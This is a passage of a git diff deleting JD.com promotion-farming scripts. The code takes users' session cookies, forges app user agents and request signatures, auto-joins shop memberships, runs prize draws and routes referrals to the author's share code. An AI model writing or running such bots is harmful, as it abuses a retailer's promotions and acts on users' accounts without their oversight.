Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie, - }, - body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (data) { - data = JSON.parse(data) - if (data.result) { - $.log(`你好:${data.data.nickname}`) - $.pin = data.data.nickname; - $.secretPin = data.data.secretPin; - cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` - } else { - $.log(data.errorMessage) - } - } else { - // $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - - }) - }) -} -function getFirstLZCK() { - return new Promise(resolve => { - $.get({ url: $.activityUrl }, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - }) -} -function getToken() { - let opt = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - headers: { - Host: 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Accept-Encoding': 'gzip, deflate, br', - }, - body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.code === "0") { - $.token = data.token - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function random(min, max) { - - return Math.floor(Math.random() * (max - min)) + min; - -} -function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36) - } - return uuid; - }); -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - } - }; - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东返回了空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -// prettier-ignore -!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_lzdz1_go3.js b/backUp/jd_lzdz1_go3.js deleted file mode 100644 index 049b81f..0000000 --- a/backUp/jd_lzdz1_go3.js +++ /dev/null @@ -1,598 +0,0 @@ -/* -大牌强联合 好物提前购 -10-28 ~ 11~5 -https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity?activityId=946hf38m5d4vqjgs5ctfuickj65s69l528&shareUuid=f0a85730507a4ebcbd28162be46fc8f6 - -默认执行脚本。如果需要不执行 -环境变量 NO_RUSH=false -*/ -const $ = new Env("大牌强联合 好物提前购"); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = [], cookie = '', message = ''; -let ownCode = null; -let isRush = true; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => !!item); -} -if (process.env.NO_RUSH && process.env.NO_RUSH != "") { - isRush = process.env.NO_RUSH; -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - - authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/dongge/raw/master/dongge/lzdz1_go3.json') - if(authorCodeList === '404: Not Found'){ - authorCodeList = [ - 'f0a85730507a4ebcbd28162be46fc8f6', - ] - } - - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i] - originCookie = cookiesArr[i] - newCookie = '' - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - $.bean = 0; - $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); - $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - // $.authorCode = authorCodeList[random(0, authorCodeList.length)] - $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] - $.authorNum = `${random(1000000, 9999999)}` - $.randomCode = random(1000000, 9999999) - $.activityId = '946hf38m5d4vqjgs5ctfuickj65s69l528' - $.activityShopId = '1000001469' - $.activityUrl = `https://lzdz1-isv.isvjd.com/dingzhi/dz/openCard/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` - if (isRush) { - console.log("未检测到不执行环境变量,执行任务") - await rush(); - } else { - console.log("检测到不执行环境变量,退出任务,环境变量 NO_RUSH") - break - } - await $.wait(3000) - if ($.bean > 0) { - message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` - } - } - } - if (message !== '') { - if ($.isNode()) { - await notify.sendNotify($.name, message, '', `\n`); - } else { - $.msg($.name, '有点儿收获', message); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - -async function rush() { - $.token = null; - $.secretPin = null; - $.openCardActivityId = null - await getFirstLZCK() - await getToken(); - if ($.token) { - await getMyPing(); - if ($.secretPin) { - console.log("去助力 -> "+$.authorCode) - await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); - await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) - if ($.index === 1) { - await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1) - } else { - await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) - } - await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) - $.log("->关注店铺") - if ($.shopTask) { - if (!$.shopTask.allStatus) { - await task('dz/openCard/followShop', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${encodeURIComponent($.actorUuid)}&taskType=23&taskValue=1000002520`) - } else { - $.log(" >>>已经关注过了\n") - await $.wait(2000) - return - } - } else { - $.log("没有获取到对应的任务。\n") - } - $.log("->->->> 加入店铺会员") - if ($.openCardStatus) { - for (let i = 0; i < ($.openCardStatus.cardList1.length + $.openCardStatus.cardList2.length); i++) { - $.log("模拟上报访问记录") - await task('crm/pageVisit/insertCrmPageVisit', `venderId=1000004065&pageId=dz20211013skcnurdk11jhdue84752hp&elementId=${encodeURIComponent(`去开卡${i}`)}&pin=${encodeURIComponent($.secretPin)}`, 1) - await $.wait(2000) - } - t1TaskList = [] - $.openCardStatus.cardList1.filter((x) => { if (x.status === 0) { t1TaskList.push(x) } }) - t2TaskList = [] - $.openCardStatus.cardList2.filter((x) => { if (x.status === 0) { t2TaskList.push(x) } }) - if (t1TaskList.length < 1) { - console.log(" >>>已经完成入会任务") - - } else { - for (const vo of t1TaskList) { - $.log(` >>>去加入${vo.name}`) - await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }, vo.value) - await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) - await $.wait(2000) - } - for (const vo of t2TaskList) { - $.log(` >>>${vo.name}`) - await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }) - await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) - await $.wait(2000) - } - } - - await task("taskact/openCardcommon/drawContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(2000) - await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(2000) - await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=1&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(2000) - await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=2&pin=${encodeURIComponent($.secretPin)}`) - - } else { - $.log("没有获取到对应的任务。\n") - } - $.log("->->->> 加购物车") - await task("dz/openCard/saveTask", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${$.actorUuid}&type=2&taskValue=100025232454`) - } - } -} - -function task(function_id, body, isCommon = 0, own = 0) { - return new Promise(resolve => { - $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - - if (data) { - data = JSON.parse(data); - if (data.result) { - switch (function_id) { - case 'wxActionCommon/getUserInfo': - break; - case 'dz/openCard/activityContent': - if (!data.data.hasEnd) { - $.log(`开启【${data.data.activityName}】活动`) - $.log("-------------------") - if ($.index === 1) { - ownCode = data.data.actorUuid - console.log(ownCode) - } - $.actorUuid = data.data.actorUuid; - $.skuTask = data.data.addSku; - $.shopTask = data.data.followShop; - } else { - $.log("活动已经结束"); - } - break; - case 'dz/openCard/checkOpenCard': - $.openCardStatus = data.data; - break; - case 'dz/openCard/saveTask': - console.log(data.data.addBeanNum) - break; - case 'dz/openCard/saveTask': - if (data.data) { - if (data.data.addBeanNum) { - $.bean += data.data.addBeanNum; - $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) - } - } - break; - case 'dz/openCard/startDraw': - if (data.data.drawOk) { - switch (data.data.drawInfo.type) { - case 6: - $.bean += data.data.drawInfo.beanNum; - $.log(`==>获得【${data.data.drawInfo.beanNum}】京豆\n`) - break; - default: - if ($.isNode()) { - await notify.sendNotify("中奖了", `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) - } else { - $.msg("中奖了", `获得${data.data.drawInfo.name}`, `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) - } - break; - } - } - break; - case 'crm/pageVisit/insertCrmPageVisit': - $.log("==> 上报成功") - - case 'dz/openCard/followShop': - if (data.data) { - if (data.data.addBeanNum) { - $.bean += data.data.addBeanNum; - $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) - } - } - break; - - break; - default: - $.log(JSON.stringify(data)) - break; - } - } else { - $.log(JSON.stringify(data)) - } - } else { - // $.log("京东没有返回数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function getShopOpenCardInfo(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.interestsRuleList) { - $.openCardActivityId = 